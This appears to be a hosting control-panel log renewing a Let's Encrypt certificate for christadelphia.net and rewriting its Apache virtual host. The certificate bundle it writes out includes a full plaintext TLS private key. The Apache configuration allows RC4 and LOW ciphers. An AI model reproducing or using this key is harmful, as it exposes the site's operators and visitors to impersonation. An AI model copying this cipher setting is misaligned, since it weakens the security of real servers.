MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-12 18:16:29: Establishing a connection
2026-02-12 18:16:30: Establishing a connection
2026-02-12 18:16:30: 

PUT: /tmp/pkp726821

#!/bin/bash
if [ -d "/var/www/christadelphia_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-12 18:16:30: 

chmod 755 /tmp/pkp726821; /tmp/pkp726821; rm /tmp/pkp726821

2026-02-12 18:16:30: 


1


2026-02-12 18:16:31: Establishing a connection
2026-02-12 18:16:31: 

PUT: /tmp/pkp622562

#!/bin/bash
mkdir -p "/var/www/christadelphia_www/.well-known/acme-challenge/"
cd "/var/www/christadelphia_www/.well-known/acme-challenge/"
cat > Y2sy3EVOIsyAcbtE1WCPQeWantgf5wlO2Kclo6sU26Y <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Y2sy3EVOIsyAcbtE1WCPQeWantgf5wlO2Kclo6sU26Y.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Y2sy3EVOIsyAcbtE1WCPQeWantgf5wlO2Kclo6sU26Y
cat > G-ivqYO2tFHApDjjyM_mR_NPQw8WRChNF-RBCAe4gTQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
G-ivqYO2tFHApDjjyM_mR_NPQw8WRChNF-RBCAe4gTQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 G-ivqYO2tFHApDjjyM_mR_NPQw8WRChNF-RBCAe4gTQ


2026-02-12 18:16:32: 

chmod 755 /tmp/pkp622562; /tmp/pkp622562; rm /tmp/pkp622562

2026-02-12 18:16:32: 




2026-02-12 18:16:41: Establishing a connection
2026-02-12 18:16:41: 

PUT: /tmp/pkp256353

#!/bin/bash
mkdir -p "/var/www/christadelphia_www/.well-known/acme-challenge/"
cd "/var/www/christadelphia_www/.well-known/acme-challenge/"
rm Y2sy3EVOIsyAcbtE1WCPQeWantgf5wlO2Kclo6sU26Y
rm G-ivqYO2tFHApDjjyM_mR_NPQw8WRChNF-RBCAe4gTQ


2026-02-12 18:16:41: 

chmod 755 /tmp/pkp256353; /tmp/pkp256353; rm /tmp/pkp256353

2026-02-12 18:16:41: 




2026-02-12 18:16:41: Establishing a connection
2026-02-12 18:16:41: 

PUT: /tmp/pkp473133

#!/bin/bash
temp_file=$(mktemp)
TARGET=d91b2f0a4f6cfa0542190dabbd9574d1.crt

cat > $temp_file <<'endmsg'
75:ec:47:7a:6c:4c:0c:00:c2:58:3d:b7:df:9a:d4:1d

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBidebq+S6FZs/9+Ytj8MABEDMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjEyMTcxODA5WhcNMjYwNTEzMTcxODA4WjAdMRswGQYDVQQD
ExJjaHJpc3RhZGVscGhpYS5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDoVaUlEVMidGbh3b46av292W6JgPZMp4oATGv1Tm4zSSedr/JiWEaUxrf1
6QcyTrR3lTlGUAafIaAE/mIUyQcw6VGRHXq4v3fcfo5nFxHR5qO3gHMxHXCHd2fT
RoqPS06YA2SEOCtHjwwuFFGe76XkJla5+ys4YEhLJozFQTFjzGh+muTDV6dHBLAu
p3Zv1K1/PWrDAYQpAZfPADmqqCiadcN/Yjp58CQpUj1gEgTP2Br5pHko9WkROYet
qQJVX1I4xjpGjXnt2nx8tqkjGe6roE8GDBk/Xw7eOnLGih8Ff1Hp0qLS8u1sp8TQ
EV5pNOWs4NfJtENuspgztE1YR+jLAgMBAAGjggIwMIICLDAOBgNVHQ8BAf8EBAMC
BaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU
bxo166tTBpuuWqDIogSmYBSi/RIwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKE
DjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmku
bGVuY3Iub3JnLzA1BgNVHREELjAsghJjaHJpc3RhZGVscGhpYS5uZXSCFnd3dy5j
aHJpc3RhZGVscGhpYS5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLQYDVR0fBCYw
JDAioCCgHoYcaHR0cDovL3IxMy5jLmxlbmNyLm9yZy80LmNybDCCAQUGCisGAQQB
1nkCBAIEgfYEgfMA8QB2AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3w
AAABnFMRxz8AAAQDAEcwRQIhAPYPHwLaG7WR1/3ENWgRHrvH9LYGBE+3gNKj8wZl
gFslAiAXGdmmPajTxkPgJBbqaI1ziRyKVdSml0+eBQdE6Tsq0QB3ANFuqaVoB35m
NaA/N6XdvAOlPEESFNSIGPXpMbMjy5UEAAABnFMRyBcAAAQDAEgwRgIhAP6ilqqK
hkqEzm3tyZOTNXaIup7knw3EWkTEaMUZchs2AiEAjpEZ0G5riBdflB5J4aLx9Eb6
xiNu2QxoM5+1HgXrfAcwDQYJKoZIhvcNAQELBQADggEBAEc7HD9fuyUBs3brKbQ4
yPJNsnGKQcvnEaw1CbsNWt24Mp4mMh8qUgbJEdupMvDp6PuZ/A64K3gUkpPk4dvb
qHzslpYNDC1RYZu1niKOILJIqzMK7qt8fdCQVftjrfTioAxKbOKqOYZ7mC7rcVh3
ntAHcKFv1l/PZe6jCruwGDvRBatBsH2vLqwSrnIIeWVclVQ6hKIKbbzk4XaptQ6r
n/L7s8bhzEkpjVznrTwPEbpVEZPsAnaHPA5sdThQzDlJ61NTNXzoKsEn5hHIE6ZJ
+Ly5EeZs2IfuMvtmYuUZjL6bXsokuINrA1MOe5l/9zlwTVOm1sLFSR8Gv/DpkHYG
4rc=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDoVaUlEVMidGbh
3b46av292W6JgPZMp4oATGv1Tm4zSSedr/JiWEaUxrf16QcyTrR3lTlGUAafIaAE
/mIUyQcw6VGRHXq4v3fcfo5nFxHR5qO3gHMxHXCHd2fTRoqPS06YA2SEOCtHjwwu
FFGe76XkJla5+ys4YEhLJozFQTFjzGh+muTDV6dHBLAup3Zv1K1/PWrDAYQpAZfP
ADmqqCiadcN/Yjp58CQpUj1gEgTP2Br5pHko9WkROYetqQJVX1I4xjpGjXnt2nx8
tqkjGe6roE8GDBk/Xw7eOnLGih8Ff1Hp0qLS8u1sp8TQEV5pNOWs4NfJtENuspgz
tE1YR+jLAgMBAAECggEAVuU9dI0zwkW1+xFD5jaA+8I4aP5OYGIjJ7RthlyUs+LP
Cde2OJkaoOdoA3XqBqNQNQ+fUdB5gYgCgQuhpHOBmIYTR0q2zSVzj4jX+u+ybwar
weStcLe5kDkVIHyYMzrvxMQ0Eo2thkCWxh88Xcz1B01dj4bE5fuA3nanHNmivteM
29VZhLQP8ecfFCZSm6GiY2d9Nukk3JKuC4jCdGeeEsQAl3Tcc214fGEzo9FSjkjF
04hJFzomWnzY9lZ78was35vzGXZZ5ssu5/MmNSmSnnpIVap39wpkA2VDLADM45C5
xIAi+gIaAk24fBLyVV4lsjJ0Tw99dEXB10Dr/94AgQKBgQD517cU7pm9bGEZyLA/
i4STIboChj8OmHHTuyiQxp+1Crnhdk4g3ds/fHDLJEFYzGsNowOaYEZwywPMQfN3
LTrK58fNYDy5LC+99R/WrtRKzhf+iPN2AJEoecZNHrmMnyMEuHdg0ifTbW8PBFIX
JfBGmK/xopFr8HWU65fl55sASwKBgQDuD3gv6n2k8cRIai5POMg1rRfeVbTuaoNs
zffmlQswIBH9mmCD3V5M5KJn02/6DOfg5p/8h00Q8muRDsCQdli9VIaagTDxFGod
PYjrXCyzsV2RmlDLSwUotZSV7+EQb2YRiKuCpoI7qMIBRawL6+SiatljVzUCU6aA
hY+oM2ppgQKBgQDK2l25Lh0/km6oe6y2e3YR7BFWGV+7XwUUj2JZYhur5+CScfbv
cpKgUk5WccJo8dh9wvya7E5lKECWKHogKmYQ9u3gD6JeCsVcq1jFez+82ObccJ+U
ENPLFExws2CeD1tkas3qm9dgL/s7Kxvn1ZLoDvLT81W1WRBu8HZtYYYVTwKBgQC4
ii9d3YWmfm/svrrFWLwCt/p/tKq8Ar98cbHRAgqZNNMdZzWYIts9+iJXH9V23dhG
RCETDgNUtsdhvDDUC5nAsqxhSvKYf32+yvu/j0VryntBKoGlBbOrGg9jp38tUV2r
C+oALnlYK/qwJ8U1vJgQu4lm86w48IVqrZ5uAeVkgQKBgFeE6GRoKoFDCrAZGiu6
v813r2ofU9EqnfpN19bTClko8vnJRFR/oaK52tHwucBqRINxWFdlHj3S7mChk32k
kbTWEA/eZ4UEpZIx0GzG7Jrvzso3OeFwK7FnFQJ5ByH1xk8Thd/aRGT+8+1+MrgJ
X/+CBRQGHe+H2X5da8YIEAHz
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-12 18:16:41: 

chmod 755 /tmp/pkp473133; /tmp/pkp473133; rm /tmp/pkp473133

2026-02-12 18:16:41: 


dir=/etc/ssl/certs


2026-02-12 18:16:42: 

PUT: /tmp/pkp322614

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/christadelphia_www_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-12 18:16:42: 

chmod 755 /tmp/pkp322614; /tmp/pkp322614; rm /tmp/pkp322614

2026-02-12 18:16:42: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphia_www_net.conf 46

<VirtualHost *:80>
    ServerName	christadelphia.net
    ServerAlias	www.christadelphia.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphia_www
    <Directory /var/www/christadelphia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphia/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphia.net
    ServerAlias	www.christadelphia.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt
    DocumentRoot	/var/www/christadelphia_www
    <Directory /var/www/christadelphia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-12 18:16:42: 

PUT: /tmp/pkp174094

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=christadelphia_www_net.conf
TARGET=/etc/apache2/sites-enabled/christadelphia_www_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	christadelphia.net
    ServerAlias	www.christadelphia.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphia_www
    <Directory /var/www/christadelphia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphia/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphia/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphia.net
    ServerAlias	www.christadelphia.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d91b2f0a4f6cfa0542190dabbd9574d1.crt
    DocumentRoot	/var/www/christadelphia_www
    <Directory /var/www/christadelphia_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphia/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphia/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/christadelphia_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/christadelphia_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/christadelphia_www_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/christadelphia_www_net.conf= 1'
fi


2026-02-12 18:16:42: 

chmod 755 /tmp/pkp174094; /tmp/pkp174094; rm /tmp/pkp174094

2026-02-12 18:16:42: 




2026-02-12 18:16:42: 

PUT: /tmp/pkp290096

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-12 18:16:42: 

chmod 755 /tmp/pkp290096; /tmp/pkp290096; rm /tmp/pkp290096

2026-02-12 18:16:42: 


.


2026-02-12 18:16:42: Establishing a connection
2026-02-12 18:16:43: 

PUT: /tmp/pkp893712

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-12 18:16:43: 

chmod 755 /tmp/pkp893712; /tmp/pkp893712; rm /tmp/pkp893712

2026-02-12 18:16:43: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
